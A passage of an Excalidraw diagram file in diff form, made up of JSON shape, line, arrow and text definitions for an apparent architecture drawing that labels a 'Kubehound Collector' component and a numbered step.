"backgroundColor": "#fff", + "width": 48.498509516518766, + "height": 67.79893677309278, + "seed": 1782612920, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.24744137508408526, + 52.952454268036 + ], + [ + 47.50874401618118, + 52.705012892951295 + ], + [ + 48.25106814143468, + -14.599041129972079 + ], + [ + 13.609275629635732, + -14.846482505056777 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1984, + "versionNonce": 347323616, + "index": "c14tO", + "isDeleted": false, + "id": "ecX6uWCxJNHOGXXCE_Jnw", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2879.244741463831, + "y": -2059.593978921258, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 48.498509516518766, + "height": 67.79893677309278, + "seed": 1206340792, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.24744137508408526, + 52.952454268036 + ], + [ + 47.50874401618118, + 52.705012892951295 + ], + [ + 48.25106814143468, + -14.599041129972079 + ], + [ + 13.609275629635732, + -14.846482505056777 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1721, + "versionNonce": 1156128992, + "index": "c14tS", + "isDeleted": false, + "id": "uv7ye6hv-ClwKWBV-uspS", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2876.9550189003976, + "y": -2057.8754382956395, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 48.498509516518766, + "height": 67.79893677309278, + "seed": 936179128, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.24744137508408526, + 52.952454268036 + ], + [ + 47.50874401618118, + 52.705012892951295 + ], + [ + 48.25106814143468, + -14.599041129972079 + ], + [ + 13.609275629635732, + -14.846482505056777 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1618, + "versionNonce": 282199264, + "index": "c14tV", + "isDeleted": false, + "id": "nNr7joEOERXL1A_sq7XqD", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2891.3066186552855, + "y": -2070.989831175105, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 12.619510129298169, + "height": 12.866951504382255, + "seed": 1326808760, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.49488275016817057, + 12.866951504382255 + ], + [ + -12.619510129298169, + 12.866951504382255 + ] + ] + }, + { + "type": "rectangle", + "version": 1613, + "versionNonce": 905865440, + "index": "c14tZ", + "isDeleted": false, + "id": "SXIjoDVydrAEWA1Y2D3Fk", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2890.564294530037, + "y": -2054.41125904446, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 1583671224, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1634, + "versionNonce": 1073630432, + "index": "c14td", + "isDeleted": false, + "id": "AmsnYt-ihBVGmQ4tcVFd9", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2890.6947897175646, + "y": -2044.102139229749, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 31404216, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1666, + "versionNonce": 1214361824, + "index": "c14th", + "isDeleted": false, + "id": "VkRBFZ13gXJdxh_ZWfBoV", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2890.564294530037, + "y": -2035.5366168691116, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 824727992, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1693, + "versionNonce": 918066400, + "index": "c14tl", + "isDeleted": false, + "id": "aIDkLH4iYuKIS4PaxY6QT", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2890.564294530037, + "y": -2027.4724857814736, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 1331978936, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "PgcECqe6dtx6V5G2eSpNJ", + "type": "arrow" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1711, + "versionNonce": 9631968, + "index": "c14tp", + "isDeleted": false, + "id": "FRNbZgahqqLRFk9wzdOqv", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2890.564294530037, + "y": -2019.1711743677242, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 24.744137508428167, + "height": 5.196268876769473, + "seed": 993479608, + "groupIds": [ + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "PgcECqe6dtx6V5G2eSpNJ", + "type": "arrow" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1900, + "versionNonce": 1125269728, + "index": "c14tt", + "isDeleted": false, + "id": "vMvmGMrsVsltbV_Ih-vkn", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2891.433090627974, + "y": -2068.272195145035, + "strokeColor": "#5c940d11", + "backgroundColor": "transparent", + "width": 42.952491783552496, + "height": 60.61974312093749, + "seed": 1589974200, + "groupIds": [ + "a2S4jBS7jxe6tD_5e3rqx", + "F8xjZroiJFqJWjt2HkVqw", + "2D1sXX7VNWIi9TkmkHEBJ", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.16208487465478996 + ], + [ + 0.16208487465478996, + -0.32416974931019377 + ], + [ + 1.2966789972395478, + -0.48625462396498376 + ], + [ + 5.186715988956963, + -0.48625462396498376 + ], + [ + 8.752583231366026, + -0.48625462396498376 + ], + [ + 12.480535348428651, + -0.9725092479293539 + ], + [ + 16.532657214800857, + -1.6208487465491275 + ], + [ + 20.4226942065195, + -2.107103370514111 + ], + [ + 23.502306824962968, + -2.107103370514111 + ], + [ + 25.28524044616688, + -2.2691882451689014 + ], + [ + 26.58191944340643, + -2.4312731198236914 + ], + [ + 26.74400431806122, + -2.4312731198236914 + ], + [ + 26.257749694095622, + -2.2691882451689014 + ], + [ + 24.636900947546494, + -1.2966789972395476 + ], + [ + 22.04354295306863, + -0.32416974931019377 + ], + [ + 17.829336212040406, + 0.8104243732745637 + ], + [ + 13.128874847047811, + 1.6208487465491275 + ], + [ + 6.807564735506091, + 2.7554428691332706 + ], + [ + 0.9725092479299677, + 3.4037823677530454 + ], + [ + -4.5383764903378045, + 4.21420674102761 + ], + [ + -8.752583231364799, + 4.862546239647383 + ], + [ + -9.563007604639978, + 5.024631114302172 + ], + [ + -9.725092479294766, + 5.3488008636117526 + ], + [ + -9.887177353949555, + 5.3488008636117526 + ], + [ + -9.725092479294766, + 5.672970612921946 + ], + [ + -8.42841348205522, + 5.835055487576736 + ], + [ + -3.8900369917174156, + 6.159225236886317 + ], + [ + -1.4587638718943376, + 6.6454798608513 + ], + [ + 4.700461364992593, + 6.6454798608513 + ], + [ + 12.318450473773861, + 6.807564735506091 + ], + [ + 19.936439582555128, + 6.807564735506091 + ], + [ + 26.906089192716006, + 6.807564735506091 + ], + [ + 28.364853064610347, + 6.807564735506091 + ], + [ + 30.634041309778635, + 6.807564735506091 + ], + [ + 31.930720307018188, + 6.807564735506091 + ], + [ + 32.90322955494815, + 6.807564735506091 + ], + [ + 33.06531442960294, + 7.131734484816285 + ], + [ + 33.06531442960294, + 7.455904234125865 + ], + [ + 33.06531442960294, + 8.266328607400428 + ], + [ + 33.06531442960294, + 8.75258323136541 + ], + [ + 33.06531442960294, + 9.076752980674991 + ], + [ + 32.09280518167297, + 10.211347103259136 + ], + [ + 29.823616936504685, + 10.535516852569327 + ], + [ + 23.98856144892734, + 11.832195849808262 + ], + [ + 21.881458078413832, + 11.994280724463666 + ], + [ + 15.073893342907747, + 12.96678997239302 + ], + [ + 10.859686601879522, + 13.939299220322374 + ], + [ + 7.942158858090847, + 14.749723593596938 + ], + [ + 5.835055487577351, + 15.5601479668715 + ], + [ + 4.5383764903378045, + 15.88431771618108 + ], + [ + 3.4037823677530454, + 16.208487465491274 + ], + [ + 2.431273119824305, + 16.532657214800857 + ], + [ + 1.620848746549128, + 16.85682696411105 + ], + [ + 1.2966789972395478, + 17.01891183876584 + ], + [ + 0.8104243732751776, + 17.01891183876584 + ], + [ + 0.4862546239643699, + 17.01891183876584 + ], + [ + 0, + 17.343081588075417 + ], + [ + -0.9725092479287398, + 17.50516646273021 + ], + [ + -1.4587638718943376, + 17.50516646273021 + ], + [ + -1.7829336212039175, + 17.66725133738562 + ], + [ + -1.9450184958587078, + 17.66725133738562 + ], + [ + -2.5933579944778677, + 17.991421086695194 + ], + [ + -3.727952117062625, + 17.991421086695194 + ], + [ + -4.862546239647383, + 18.153505961349982 + ], + [ + -5.186715988956963, + 18.47767571066018 + ], + [ + -5.348800863611753, + 18.639760585314963 + ], + [ + -5.186715988956963, + 18.963930334624546 + ], + [ + -3.241697493098256, + 19.45018495858953 + ], + [ + 0, + 20.26060933186409 + ], + [ + 3.890036991718643, + 20.908948830483865 + ], + [ + 8.104243732745637, + 21.55728832910303 + ], + [ + 12.318450473773861, + 22.043542953068012 + ], + [ + 19.126015209279956, + 23.01605220099737 + ], + [ + 21.557288329104257, + 23.340221950307562 + ], + [ + 24.474816072891706, + 23.502306824962353 + ], + [ + 25.933579944786047, + 23.66439169961714 + ], + [ + 26.257749694095622, + 23.66439169961714 + ], + [ + 25.28524044616688, + 23.66439169961714 + ], + [ + 22.04354295306863, + 23.988561448926717 + ], + [ + 18.477675710660794, + 24.474816072891702 + ], + [ + 15.073893342907747, + 25.77149507013125 + ], + [ + 11.83219584980949, + 27.39234381668038 + ], + [ + 8.266328607400428, + 30.14778668581365 + ], + [ + 5.510885738267771, + 32.25489005632776 + ], + [ + 3.727952117062625, + 33.55156905356669 + ], + [ + 1.7829336212039175, + 34.84824805080625 + ], + [ + 0.6483394986203875, + 35.8207572987356 + ], + [ + 0, + 36.46909679735538 + ], + [ + -0.4862546239643699, + 36.95535142131974 + ], + [ + 0, + 36.95535142131974 + ], + [ + 0.9725092479299677, + 36.95535142131974 + ], + [ + 4.376291615683013, + 36.307011922700575 + ], + [ + 8.266328607400428, + 36.14492704804518 + ], + [ + 13.453044596358618, + 35.33450267477062 + ], + [ + 17.505166462730827, + 34.68616317615145 + ], + [ + 20.26060933186471, + 34.36199342684126 + ], + [ + 22.69188245168779, + 33.87573880287688 + ], + [ + 22.85396732634258, + 33.55156905356669 + ], + [ + 23.17813707565339, + 33.22739930425711 + ], + [ + 23.340221950308177, + 33.22739930425711 + ], + [ + 23.502306824962968, + 33.065314429602324 + ], + [ + 23.826476574272547, + 33.065314429602324 + ], + [ + 23.98856144892734, + 32.90322955494692 + ], + [ + 24.150646323582126, + 32.90322955494692 + ], + [ + 23.664391699617756, + 33.55156905356669 + ], + [ + 19.936439582555128, + 34.03782367753168 + ], + [ + 15.722232841526907, + 35.010332925461036 + ], + [ + 11.183856351189105, + 36.307011922700575 + ], + [ + 3.890036991718643, + 38.57620016786887 + ], + [ + 0, + 40.68330353838297 + ], + [ + -3.241697493098256, + 42.4662371595869 + ], + [ + -5.510885738266542, + 44.41125565544621 + ], + [ + -7.293819359470461, + 45.38376490337557 + ], + [ + -8.42841348205522, + 46.19418927665014 + ], + [ + -9.076752980674376, + 46.68044390061449 + ], + [ + -9.400922729985187, + 47.00461364992471 + ], + [ + -9.400922729985187, + 47.16669852457948 + ], + [ + -7.942158858090847, + 47.00461364992471 + ], + [ + -6.483394986196512, + 46.8425287752699 + ], + [ + -4.5383764903378045, + 46.8425287752699 + ], + [ + -1.9450184958587078, + 46.8425287752699 + ], + [ + 1.9450184958587078, + 46.68044390061449 + ], + [ + 3.241697493098256, + 46.68044390061449 + ], + [ + 5.67297061292256, + 46.68044390061449 + ], + [ + 9.076752980675609, + 46.68044390061449 + ], + [ + 14.101384094977776, + 46.68044390061449 + ], + [ + 15.884317716181695, + 46.68044390061449 + ], + [ + 19.126015209279956, + 46.68044390061449 + ], + [ + 22.529797577032998, + 46.68044390061449 + ], + [ + 23.826476574272547, + 46.68044390061449 + ], + [ + 24.150646323582126, + 46.68044390061449 + ], + [ + 23.826476574272547, + 46.68044390061449 + ], + [ + 19.936439582555128, + 46.8425287752699 + ], + [ + 14.749723593596938, + 47.32878339923428 + ], + [ + 10.373431977915153, + 48.30129264716362 + ], + [ + 6.645479860851301, + 49.27380189509359 + ], + [ + 3.241697493098256, + 50.57048089233253 + ], + [ + 0.4862546239643699, + 51.70507501491729 + ], + [ + -1.7829336212039175, + 52.83966913750144 + ], + [ + -4.376291615681785, + 54.13634813474098 + ], + [ + -5.186715988956963, + 54.622602758705355 + ], + [ + -5.6729706129213335, + 54.94677250801554 + ], + [ + -5.835055487576122, + 55.10885738267033 + ], + [ + -5.9971403622309145, + 55.10885738267033 + ], + [ + -6.159225236886931, + 55.27094225732512 + ], + [ + -5.6729706129213335, + 55.27094225732512 + ], + [ + -4.052121866372206, + 55.27094225732512 + ], + [ + -1.4587638718943376, + 55.27094225732512 + ], + [ + 3.565867242407835, + 55.75719688129011 + ], + [ + 8.42841348205522, + 56.56762125456467 + ], + [ + 9.563007604639978, + 56.56762125456467 + ], + [ + 11.508026100498684, + 57.05387587852905 + ], + [ + 12.156365599119074, + 57.54013050249403 + ], + [ + 12.318450473773861, + 57.54013050249403 + ], + [ + 12.804705097738232, + 57.54013050249403 + ], + [ + 13.777214345668202, + 57.54013050249403 + ], + [ + 15.073893342907747, + 57.54013050249403 + ], + [ + 18.153505961349982, + 57.54013050249403 + ], + [ + 19.288100083934744, + 57.54013050249403 + ], + [ + 21.557288329104257, + 57.54013050249403 + ], + [ + 24.798985822202514, + 57.86430025180361 + ], + [ + 26.41983456875164, + 58.02638512645841 + ], + [ + 27.230258942025593, + 58.18847000111379 + ], + [ + 27.392343816680384, + 58.18847000111379 + ], + [ + 27.554428691335172, + 58.18847000111379 + ], + [ + 27.87859844064475, + 58.18847000111379 + ], + [ + 27.87859844064475, + 57.86430025180361 + ], + [ + 28.04068331530077, + 57.54013050249403 + ], + [ + 28.04068331530077, + 57.05387587852905 + ], + [ + 28.364853064610347, + 55.43302713197992 + ], + [ + 28.364853064610347, + 54.29843300939578 + ], + [ + 28.364853064610347, + 53.00175401215622 + ], + [ + 28.364853064610347, + 51.542990140261885 + ], + [ + 28.364853064610347, + 50.084226268368155 + ], + [ + 28.364853064610347, + 48.30129264716362 + ], + [ + 28.364853064610347, + 44.7354254047558 + ], + [ + 28.364853064610347, + 43.92500103148123 + ], + [ + 28.202768189955552, + 42.142067410277306 + ], + [ + 27.87859844064475, + 40.197048914418 + ], + [ + 27.87859844064475, + 38.0899455439045 + ], + [ + 27.87859844064475, + 37.44160604528473 + ], + [ + 27.87859844064475, + 36.46909679735538 + ], + [ + 27.87859844064475, + 35.98284217339039 + ], + [ + 27.87859844064475, + 35.8207572987356 + ], + [ + 27.87859844064475, + 35.6586724240808 + ], + [ + 27.87859844064475, + 35.49658754942601 + ], + [ + 27.87859844064475, + 35.33450267477062 + ], + [ + 27.87859844064475, + 35.172417800115824 + ], + [ + 28.04068331530077, + 34.68616317615145 + ], + [ + 28.202768189955552, + 34.52407830149605 + ], + [ + 28.364853064610347, + 33.71365392822148 + ], + [ + 28.364853064610347, + 33.55156905356669 + ], + [ + 28.364853064610347, + 33.065314429602324 + ], + [ + 28.689022813919934, + 32.74114468029213 + ], + [ + 28.689022813919934, + 32.25489005632776 + ], + [ + 28.689022813919934, + 32.09280518167236 + ], + [ + 28.689022813919934, + 31.606550557707983 + ], + [ + 28.52693793926514, + 31.120295933743 + ], + [ + 27.392343816680384, + 29.823616936504074 + ], + [ + 26.906089192716006, + 29.661532061848664 + ], + [ + 23.98856144892734, + 28.364853064609733 + ], + [ + 18.315590836006, + 27.71651356598996 + ], + [ + 13.777214345668202, + 27.71651356598996 + ], + [ + 9.400922729985187, + 27.71651356598996 + ], + [ + 5.67297061292256, + 27.71651356598996 + ], + [ + 2.9175277437886753, + 27.71651356598996 + ], + [ + 0.4862546239643699, + 27.71651356598996 + ], + [ + -1.620848746549128, + 27.71651356598996 + ], + [ + -3.727952117062625, + 27.71651356598996 + ], + [ + -4.5383764903378045, + 27.71651356598996 + ], + [ + -5.510885738266542, + 27.71651356598996 + ], + [ + -6.32131011154172, + 27.71651356598996 + ], + [ + -6.807564735506091, + 27.71651356598996 + ], + [ + -6.96964961016088, + 27.878598440644748 + ], + [ + -6.807564735506091, + 29.01319256322951 + ], + [ + -6.483394986196512, + 30.796126184433422 + ], + [ + -5.9971403622309145, + 32.41697493098255 + ], + [ + -5.835055487576122, + 33.71365392822148 + ], + [ + -5.6729706129213335, + 34.03782367753168 + ], + [ + -5.6729706129213335, + 33.71365392822148 + ], + [ + -5.6729706129213335, + 33.71365392822148 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "text", + "version": 1731, + "versionNonce": 752297184, + "index": "c14u", + "isDeleted": false, + "id": "mz6dNPHz", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2696.8822294871707, + "y": -1881.5005800128893, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 302.777506608469, + "height": 38.98269517785049, + "seed": 1068613048, + "groupIds": [ + "-fuydpGeRmJebhMhfGF9Z", + "nkOCzMXr-ay29J3SEFXpu", + "1evBsIIbGTzS5Soeks0eq", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "fontSize": 31.18615614228038, + "fontFamily": 1, + "text": "Kubehound Collector", + "rawText": "Kubehound Collector", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Kubehound Collector", + "autoResize": true, + "lineHeight": 1.2500000000000004 + }, + { + "type": "rectangle", + "version": 679, + "versionNonce": 1415547104, + "index": "c14u8", + "isDeleted": false, + "id": "vCEakEpmo328jTcqWFjw0", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3067.8483569194323, + "y": -2076.3789752515713, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 228.87704996408198, + "height": 152.58469997605465, + "seed": 253839032, + "groupIds": [ + "gkKQMF7oT6pK1ls16ezRO", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2137, + "versionNonce": 893086944, + "index": "c14uG", + "isDeleted": false, + "id": "mFCLQ6s-Zk507-0NFSDEF", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3068.1253935983354, + "y": -1922.7471110191755, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 356.0309666107942, + "height": 88.67689008453179, + "seed": 968339384, + "groupIds": [ + "gkKQMF7oT6pK1ls16ezRO", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -63.57695832335616, + 76.29234998802734 + ], + [ + -51.56782903950372, + 88.67689008453166 + ], + [ + 280.012571604713, + 88.67689008453173 + ], + [ + 292.45400828743806, + 76.29234998802718 + ], + [ + 228.87704996408206, + -4.263256414560601e-14 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 700, + "versionNonce": 1492832480, + "index": "c14uO", + "isDeleted": false, + "id": "Ca9plgTGDYFBHnE7-5YDv", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3073.308825438323, + "y": -2070.64008370196, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 216.80256965198785, + "height": 140.28401565716857, + "seed": 2006513848, + "groupIds": [ + "gkKQMF7oT6pK1ls16ezRO", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "8vAcKDwo7gGVS1e0gr5sE", + "type": "arrow" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 678, + "versionNonce": 388871392, + "index": "c14uV", + "isDeleted": false, + "id": "Z54_XrFMNSvkxmMJ9ojzC", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3156.856098572131, + "y": -1885.6481002815035, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 76.29234998802733, + "height": 25.430783329342443, + "seed": 1550393784, + "groupIds": [ + "gkKQMF7oT6pK1ls16ezRO", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -12.715391664671222, + 25.430783329342443 + ], + [ + 63.57695832335611, + 25.430783329342443 + ], + [ + 50.861566658684886, + 0 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 646, + "versionNonce": 1432623328, + "index": "c14ud", + "isDeleted": false, + "id": "0z4mjJy5pARP46wXBJjzh", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3004.271398596077, + "y": -1847.501925287489, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 356.0309666107942, + "height": 0, + "seed": 1733044920, + "groupIds": [ + "gkKQMF7oT6pK1ls16ezRO", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 356.0309666107942, + 0 + ] + ] + }, + { + "type": "arrow", + "version": 828, + "versionNonce": 1194196192, + "index": "c14ul", + "isDeleted": false, + "id": "8vAcKDwo7gGVS1e0gr5sE", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2783.5785692052195, + "y": -1992.6014393057094, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 383.9925734093078, + "height": 440.4520863297078, + "seed": 317068216, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -344.02403518979327, + 81.76566574892692 + ], + [ + -383.9925734093078, + 440.4520863297078 + ] + ] + }, + { + "type": "ellipse", + "version": 1031, + "versionNonce": 773546208, + "index": "c14ut", + "isDeleted": false, + "id": "As6D6aJ4rvtDKrd3SDxVB", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2569.1884509968822, + "y": -1531.2934828575162, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 1509008824, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "6yjMsOOb" + } + ], + "updated": 1720441453355, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 895, + "versionNonce": 431768800, + "index": "c14v", + "isDeleted": false, + "id": "6yjMsOOb", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 2624.962979218982, + "y": -1506.7967270319823, + "strokeColor": "#1971c2", + "backgroundColor": "#ffc9c9", + "width": 15.783035278320312, + "height": 72.8066589269846, + "seed": 690237112, + "groupIds": [ + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453355, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "1", + "rawText": "1", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "As6D6aJ4rvtDKrd3SDxVB", + "originalText": "1", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "version": 1085, + "versionNonce": 664840416, + "index": "c14vG", + "isDeleted": false, + "id": "lqI3eXvp39j-k4DoDgICX", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + 